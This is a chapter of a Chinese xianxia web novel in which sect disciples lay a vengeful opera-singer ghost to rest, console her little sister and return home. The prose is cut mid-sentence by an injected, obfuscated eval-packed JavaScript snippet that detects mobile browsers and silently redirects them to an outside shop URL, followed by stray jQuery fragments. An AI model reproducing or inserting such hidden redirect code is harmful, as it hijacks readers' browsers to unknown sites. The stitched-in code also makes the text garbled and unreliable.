文趣网 > 其他小说 > 满级大佬又在迫害宗门 > 14.第十四章
    随着《梧桐怨》逼近尾声,花旦鬼吐出的调调愈发悲凉。她眼眶中的血泪嵌入皲裂的皮肤,宛如刀镌刻的疤痕触目惊心。

    她操控的无头尸早已被阵中延绵不绝的刀丝刮得骨肉分离,瘫倒在地不成气候。唯独她穿梭在寒光刀影中,哪怕脖颈间模糊一片却仍然锲而不舍地唱:

    “冷月萧萧天地寂,君长逝,梦空存。”

    陈旧的戏服被划开豁口,割开皮肉,鬼气顺着伤口溢出,鬼力也缓缓消散于天地。

    宁鹤睫毛簌簌地颤,暖白如玉的脸颊在灵光的映衬之下越发显得无暇。他抬手摁灭飞舞的刀丝,在阵中召出一根青色的灵线,温声道:“你的鬼力不足以破我的阵。”

    “既然大仇已报,便去投胎吧。”

    “他还在等你。”

    花旦鬼,不,应当说是顾三娘,瞬间僵住了。她扭了扭脖子,发出咔哒的怪响。

    宁鹤胳膊高抬,那根灵线“噗嗤”一声从顾三娘胸膛穿心而过。大概是因为没什么痛楚,她疑惑看着自己逐渐消散的手脚,眼中尽是茫然。

    顾三娘动了动,仰着脑袋伸手摸眼前的虚无。恍惚间她好似听见许多年前的欢声雷动满堂喝彩,好似看见阮子尧送她金钗时微红的侧脸。

    她扯了扯嘴角,露出略显怪异的笑。用细碎的声音唱完最后一句:“初识见君…惊鸿面,自此…三界无异色……”

    她身形随曲尽而消散,手中染血的金钗坠落在地发出清脆的响。

    迷雾四起,天地归于寂静。

    步青妩眯着眼睛看,紧张捏着拳:“谁赢了谁赢了?”

    “师兄?”

    “师兄?”

    “宁鹤?!”她扯着嗓子喊。

    “谁这般大胆直呼师兄名讳?”

    依旧是初见那般清润懒散的声音,白色身影自雾中款步而出。

    下一瞬明黄虚影宛如炮弹直直飞出去,侥幸捡回小命的谢回舟抱着自家师兄的大腿一把鼻涕一把泪:“啊呜呜呜师兄啊师兄……”

    从那花旦鬼把他们所有人都定在原地后他就是个懵的,此刻才冒出劫后余生的狂喜,他把脸埋进宁鹤的狐裘上哭着喊着:“呜呜呜我差点死了!!原来你当真是韫椟藏珠啊!师兄我再也不要离开你了呜呜我真是要吓死了……”

    宁鹤“啧”了一声,拔了拔自己的腿竟是纹丝不动,他嫌弃道:“起来,脏兮兮的。”

    “我不要!”

    步青妩悬着的心终于放下了,笑着道:“谢回舟你怎这般没出息,怎么你要以身相许不成?”

    伏厌斜她一眼,讽道:“你没读过书?”

    “这四个字是这么用的?”

    步青妩不知哪里又惹到这死棺材脸了,正要发作,宁鹤便低头对扒在他腿上的人说道:“若是如此还是算了吧。”

    “师兄眼光极高。”

    谢回舟后知后觉感到不好意思,抽抽嗒嗒爬起来:“我没有……”

    宁鹤看着狐裘上深一阵浅一阵的水痕头疼不已,想骂两句可瞧着谢少爷泪眼婆娑的样子又忽地善心大发,只道:“回去给我洗了。”

    “哦好的,师兄……”

    伏厌心中冷哼一声,这毛手毛脚的臭小子能洗明白就怪了,全天下也没几个人能伺候好宁鹤这龟毛事精。

    而后他又忽地想起方才宁鹤布阵时那阵熟悉的灵力气息,不由自主地向他投去打量的目光。

    宁鹤一掀眼,缩在毛领里懒洋洋的:“看什么?被师兄我的英姿迷了眼?”

    伏厌:“……”

    这厮果真正经不过一盏茶的时间。

    插科打诨后聊起正事,步青妩道:“师兄,这到底是怎么一回事?我们接的不是初级诏令吗?”

    宁鹤也觉得奇怪,尹孤雁这么多年从没误判过诏令难度,他一时无法解释,道:“回门后上报后再派人调查,这已经超出本次诏令的范畴了。”

    “那我们这个试炼还要继续吗?”

    宁鹤看向她的眼神难以言喻:“已经结束了,师妹。”

    “啊?”

    “方才那位花旦鬼便是顾三娘。”

    “啊?!!”

    瞧着某几位新生面露迷茫,宁鹤道:“我已经三番五次提醒了,怎会如此愚笨?”

    “我且问你们,这整件事从头到尾怨气最大的是谁?会唱梧桐怨的旦角是谁?同凤鸣班掌事及孙正浩有仇的又是谁?”

    谢回舟呆呆道:“……顾三娘?”

    宁首席又接着道:“顾三娘应当是在失踪那天知晓了卖身契真相,心生绝望自戕了。这种死法化鬼怨气最重,所以短短半月便成了气候杀人报仇。”

    步青妩消化掉这一消息,问:“师兄何时知晓的?”

    “头一天有这个猜测,今早便确定了。”

    “因为顾三娘杀人的手法没有变。”

    早在见到戏台上残留的麻绳时宁鹤便有了猜测,戏台横梁和屋顶有足够的空隙能轻易将绳子丢过挂上去。可那绳子末端坠的太低了只到他的胸口,那个高度若是寻常男子想把脑袋挂上去时还要低着头去摸索,麻烦不说还会沾一手血腥。

    当时宁鹤就想杀掉顾家夫妇的八成是个女人。

    后来打探到的消息林林总总一合计,便更好推断了。

    顾三娘原本和戏班的小生阮子尧互生情愫,本是一对璧人可人有情上天无情,顾家夫妇欠的债要嫁女儿来还,两人情缘硬生生被斩断。

    若事态如此发展倒也只是两人从此天各一方,再难相见。可孙家大儿子病死了,他死后这桩姻缘并没有断,孙家提出要顾三娘同孙大少阴婚。活人嫁死荒谬至极,丧心病狂的顾家夫妇竟然答应了。

    阮子尧本就怜惜心上人,如此更是愤怒难忍,上门找孙正浩讨要说法无果还把命丢在了孙家,两人从此阴阳相隔。这件事大抵让顾三娘彻底看清了爹娘真面目,她清楚知道这样下去不仅会毁了自己也会毁了年幼的顾依依。于是月黑风高,她寻了个什么法子,亲手动手解决了亲生父母。

    戏班因阮子尧身死搬离,顾三娘便将头颅悬于戏台之上祭奠。而后进入凤鸣班签下卖身契,再后面的事便已不用多说了。

    被忽视的细节连成线,步青妩恍然大悟:“原是如此!”她尴尬地挠挠脸,“江首席不会也早就知道了吧?”

    江拂柳颔首。

    她又受了一次打击,想到伏厌先前也提到阴婚一事,没好气道:“你呢?”

    伏厌淡淡道:“不是很明显吗。”

    步师妹被打击得说不出话来。

    沉默良久的谢回舟默然开口:“顾大姑娘……好可怜。”

    宁鹤抬眸看着飘渺的圆月,道:“能报仇对于她来说,也是一种慰藉。”

    只是可惜她此生原本的好光景。

    他无意义轻轻重复道:“能报仇就很好。”

    想来她也是实在受不住了才抛下幼妹。

    谢回舟问:“那我们将她伏诛,是不是……又一次杀了她?”

    “她化成鬼后达到如此境界,早已不止杀了两个人。因果轮回,理应如此。”宁鹤难得有这个耐心温声劝慰,“那两人之所以会挂在自家屋前,应当只是了却她生前执念。”

    “我还有一个问题。”

    宁首席耐心急速告罄:“笨蛋吗?这么多问题。”

    谢回舟看着悬着两只灯笼的小屋:“师兄,我们如何同依依妹妹解释?”

    所有人都静了下来。

    气氛安静得有些压抑了,伏厌奇怪地扫视一圈,道:“如实告知不就行了?”从方才他便觉得不解,叽里咕噜说什么东西呢。人死又不能复生,事情既已经尘埃落定,为何还要平白无故感伤?

    步青妩瞪他:“你这人到底有没有心。”

    “你——”他刚要说话,又被宁鹤的扇子打了嘴。

    少年皱眉:“我又怎么惹你不高兴了?”

    宁鹤双手抱胸:“成了鬼的顾三娘有一丝感情尚存,你倒好,当真半点同理心也无。”

    “是人否?”

    “我——”伏厌自知说不过他,忍气吞声闭了嘴。

    *

    顾依依竟然还没睡,她提着一盏灯眼巴巴靠近,在仙长们身后环视一圈,没瞧见熟悉的身影,眼神逐渐黯淡下来。

    她小声问:“仙长,我阿姐……是不是不会回来了?”

    众人你看看我我看看你,一时都没

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941450|212314||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    开口。

    “我方才又听见了唱戏声,现在戏结束了,仙长们也回来了,但是阿姐没回来。”

    “她不会回来了,对吧。”

    宁鹤蹲下身,从怀里掏出一支擦拭干净的金钗,轻声道:“抱歉。”

    “我们只带回来了这个。”

    顾依依眼中含了两眶泪,哽咽着接过:“这是阿姐最喜欢的,她平时都舍不得戴呢。”

    她举着小手擦泪:“阿姐平日里,总是不高兴总是偷偷掉眼泪,她离开的时候,还在难过吗?”

    宁鹤说:“她了却了最大的心愿。”

    “那,那就很好了。”

    众人陪着顾依依在后山为顾三娘立衣冠冢,谢回舟边挖土边掉眼泪,伏厌没懂只在宁鹤如有实质的目光下闷头挥铲子。

    顾依依把那支金钗埋了进去,宁鹤问她为什么不留着做纪念,她却说阿姐比她更需要这个。

    她在顾三娘坟前磕了三个响头,宁鹤眼中倒映出小姑娘单薄的身形,忽地开口问:“依依,你要跟我们走吗?”

    顾依依摇摇头:“阿姐在哪我就在哪。”她强颜欢笑,“我能编好多好多东西,能养活自己的。”

    宁鹤并未强求,倒是伏厌蓦然福至心灵,他行至宁首席身侧,道:“你早就料到了,所以昨日才让我们砍这么多柴火留给她。”

    “听不懂。”宁鹤耳朵缩进毛领里,眉眼疏慵,“我在你心里原是如此善心之人吗?师兄甚感欣慰。”

    “你……”伏厌还想说什么,却见月光下的宁鹤脸色白到不正常,连嘴唇都没什么血色了。他凝眉问道:“你的脸怎么回事?”

    “怎么?”

    “若现在你照镜子,便能看见镜中有个纸人。”

    宁鹤嗤笑一声,将肩头的狐裘收紧:“本首席这是天生丽质。”

    “不像有些人。”他目光上下打量,转身往山下走,“夜里灯一灭找都找不着。”

    “……”

    下山后一行人简单收拾东西向顾依依辞行,这块地风水不好,为了防止日后再发生意外江拂柳给这栋简陋的小屋又施了层剑咒。

    回门皆是用符修院所出的定点传送符,这也是七修门老习俗了。出任务时一路打探着过去,回去时则用符篆直通门内。

    伏厌来时负责给宁鹤布置,走时又给他收拾。宁首席本人则是在外头悠闲赏月,时不时趴在窗前催促两声。

    真是个麻烦鬼,也不知是谁出门要带这么多东西。

    等他收拾好,其他人已经在院里等着了。顾依依也在院里送行,此刻她房门大开,伏厌极佳的眼力让他越过堂屋,看见了小姑娘屋内的桌子。

    一包没有吃完的荷花酥下押着一沓厚厚的银票。

    “伏厌——磨磨蹭蹭干什么呢。”

    伏厌收回目光,抬脚而出:“来了。”

    *

    因着是上元节,门内遍施彩饰红灯笼挂了一溜,瞧着甚是喜庆。

    步青妩伸了个懒腰,道:“回来的感觉真好啊——”

    一晚上大起大落,她情绪高昂,想到亲眼见识到的那“四方杀机阵”便难忍激动:“师兄!你真是好生厉害。”

    “先前还诓我们说什么都不会,差点就被你诓过去了!”

    “我们日后也能学成吗?还有还有,师兄的扇子究竟是何来头?”

    宁鹤眉眼生出点点倦意,他指了指夜空高悬的月亮:“我说师妹,你真要在此时和我讨论道法吗?”

    这么一说步青妩才惊觉早就到了该睡觉的点了,她不好意思挠挠脸:“那我明日再问。”

    宁鹤背身向自己的院子走去:“好梦。”

    弟子居和宁鹤的小院是两个方向,伏厌走在最后面,在谢步二人叽叽喳喳声中似有所感地回首。

    应当是没有亮烛火的缘故,宁鹤行至院前还被台阶绊了一脚,晃悠两下才站稳。

    再往后那道白衣便进屋看不见了。

    没有提前告知回门,阿夏已经睡下了,屋内一片漆黑。

    宁鹤合上房门,脑袋顺势抵在木板后,颀长的身形缓缓下落。

    他重重闭上眼,捂着胸口单膝跪地,偏头呕出一大口鲜红的血。